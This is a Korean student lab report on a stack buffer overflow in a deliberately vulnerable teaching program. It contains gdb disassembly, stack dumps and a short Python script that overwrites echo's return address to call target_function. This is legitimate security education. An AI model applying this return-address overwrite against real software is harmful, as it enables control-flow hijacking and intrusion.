REPORT

[어셈블리 실습 04]

과 목 : 시스템소프트웨어
담당교수 : 석문기 교수님
학 과 : 컴퓨터공학과
학 번 : 2021111971
이 름 : 이재혁

dongguk UNIVERSITY

1. target_function 주소

```
2021111971@linuxserver1:~$ gdb ./buffer_overflow
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.2) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./buffer_overflow...
(gdb) disassemble target_function
Dump of assembler code for function target_function:
   0x0000000000401156 <+0>:     endbr64
   0x000000000040115a <+4>:     push   %rbp
   0x000000000040115b <+5>:     mov    %rsp,%rbp
   0x000000000040115e <+8>:     lea    0xea3(%rip),%rdi        # 0x402008
   0x0000000000401165 <+15>:    callq  0x401050 <puts@plt>
   0x000000000040116a <+20>:    nop
   0x000000000040116b <+21>:    pop    %rbp
   0x000000000040116c <+22>:    retq
End of assembler dump.
(gdb)
```

target_function 시작주소 : 0x401156

2. echo return address 확인

```
(gdb) break echo
Breakpoint 1 at 0x40116d: file buffer_overflow.c, line 7.
(gdb) run
Starting program: /home/2021111971/buffer_overflow

Breakpoint 1, echo () at buffer_overflow.c:7
7       void echo() {
(gdb) x/16x $rsp
0x7fffffffe2d8: 0x004011ab      0x00000000      0x00000000      0x00000000
0x7fffffffe2e8: 0xf7de2083      0x00007fff      0x00000031      0x00000000
0x7fffffffe2f8: 0xffffe3d8      0x00007fff      0xf7fa67a0      0x00000001
0x7fffffffe308: 0x00401199      0x00000000      0x004011c0      0x00000000
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000401199 <+0>:     endbr64
   0x000000000040119d <+4>:     push   %rbp
   0x000000000040119e <+5>:     mov    %rsp,%rbp
   0x00000000004011a1 <+8>:     mov    $0x0,%eax
   0x00000000004011a6 <+13>:    callq  0x40116d <echo>
   0x00000000004011ab <+18>:    mov    $0x0,%eax
   0x00000000004011b0 <+23>:    pop    %rbp
   0x00000000004011b1 <+24>:    retq
End of assembler dump.
(gdb)
```

x/16x $rsp 명령어로 스택 상단부의 명령어 주소를 조회합니다.

disassemble main 명령어로 echo 함수 이후의 주소, 즉 echo 의 반환 주소를 확인합니다.

callq 다음 주소는 0x004011ab 입니다. 이 주소를 스택 상단부에서 찾아보면 echo 함수의 반환주소는 0x7fffffffe2d8 에 존재하는 것을 알 수 있습니다.

3. Buffer Overflow 확인

```
(gdb) disassemble echo
Dump of assembler code for function echo:
   0x000000000040116d <+0>:     endbr64
   0x0000000000401171 <+4>:     push   %rbp
   0x0000000000401172 <+5>:     mov    %rsp,%rbp
   0x0000000000401175 <+8>:     sub    $0x10,%rsp
   0x0000000000401179 <+12>:    lea    -0x8(%rbp),%rax
   0x000000000040117d <+16>:    mov    %rax,%rdi
   0x0000000000401180 <+19>:    mov    $0x0,%eax
   0x0000000000401185 <+24>:    callq  0x401060 <gets@plt>
   0x000000000040118a <+29>:    lea    -0x8(%rbp),%rax
   0x000000000040118e <+33>:    mov    %rax,%rdi
   0x0000000000401191 <+36>:    callq  0x401050 <puts@plt>
   0x0000000000401196 <+41>:    nop
   0x0000000000401197 <+42>:    leaveq
   0x0000000000401198 <+43>:    retq
End of assembler dump.
(gdb)
```

call 명령어 주소 : 0x00401185

```
jaehyuk — 2021111971@linuxserver1: ~ — ssh 2021111971@cs.dongg
(gdb) disassemble echo
Dump of assembler code for function echo:
   0x000000000040116d <+0>:     endbr64
   0x0000000000401171 <+4>:     push   %rbp
   0x0000000000401172 <+5>:     mov    %rsp,%rbp
   0x0000000000401175 <+8>:     sub    $0x10,%rsp
   0x0000000000401179 <+12>:    lea    -0x8(%rbp),%rax
   0x000000000040117d <+16>:    mov    %rax,%rdi
   0x0000000000401180 <+19>:    mov    $0x0,%eax
   0x0000000000401185 <+24>:    callq  0x401060 <gets@plt>
   0x000000000040118a <+29>:    lea    -0x8(%rbp),%rax
   0x000000000040118e <+33>:    mov    %rax,%rdi
   0x0000000000401191 <+36>:    callq  0x401050 <puts@plt>
   0x0000000000401196 <+41>:    nop
   0x0000000000401197 <+42>:    leaveq
   0x0000000000401198 <+43>:    retq
End of assembler dump.
(gdb) break *0x401185
Breakpoint 1 at 0x401185: file buffer_overflow.c, line 9.
(gdb) run
Starting program: /home/2021111971/buffer_overflow

Breakpoint 1, 0x0000000000401185 in echo () at buffer_overflow.c:9
9           gets(buf);   /* 입력 크기를 확인하지 않음 */
(gdb) info registers rsp
rsp            0x7fffffffe2c0      0x7fffffffe2c0
(gdb) x/16x $rsp
0x7fffffffe2c0: 0x00000000      0x00000000      0x00401070      0x00000000
0x7fffffffe2d0: 0xffffe2e0      0x00007fff      0x004011ab      0x00000000
0x7fffffffe2e0: 0x00000000      0x00000000      0xf7de2083      0x00007fff
0x7fffffffe2f0: 0x00000031      0x00000000      0xffffe3d8      0x00007fff
(gdb) ni
AAAAAAA
10          puts(buf);
(gdb) x/16x $rsp
0x7fffffffe2c0: 0x00000000      0x00000000      0x41414141      0x00414141
0x7fffffffe2d0: 0xffffe2e0      0x00007fff      0x004011ab      0x00000000
0x7fffffffe2e0: 0x00000000      0x00000000      0xf7de2083      0x00007fff
0x7fffffffe2f0: 0x00000031      0x00000000      0xffffe3d8      0x00007fff
(gdb)
```

AAAAAAA 입력 후
rsp + 16 주소에 0x41('A')가 7 개 저장 된 것을 확인할 수 있습니다.

python 스크립트 작성

```
[2021111971@linuxserver1:~$ python3 -V
Python 3.8.10
2021111971@linuxserver1:~$
```

서버 파이썬 버전 확인

```
jaehyuk — 2021111971@linuxs
buffer = b"\x41" * 8 + b"\x42" * 8

ret_address = b"\x56\x11\x40\x00"

payload = buffer + ret_address

with open("exploit_input", "wb") as f:
    f.write(payload)

print("Create.")
~
```

exploit.py (타겟 함수 주소 반영)

```
[2021111971@linuxserver1:~$ python3 exploit.py
Create.
[2021111971@linuxserver1:~$ vim exploit_input
```

```
jaehyuk — 2
AAAAAAAABBBBBBBBV^Q@^@
```

exploit.py 실행 후 생성파일 확인

실행결과

```
[2021111971@linuxserver1:~$ ./buffer_overflow < exploit_input
AAAAAAAABBBBBBBBV@
Exploit 성공! target_function 호출 완료.
Segmentation fault (core dumped)
```

exploit_input 파일을 입력으로 사용, target 함수가 호출됩니다.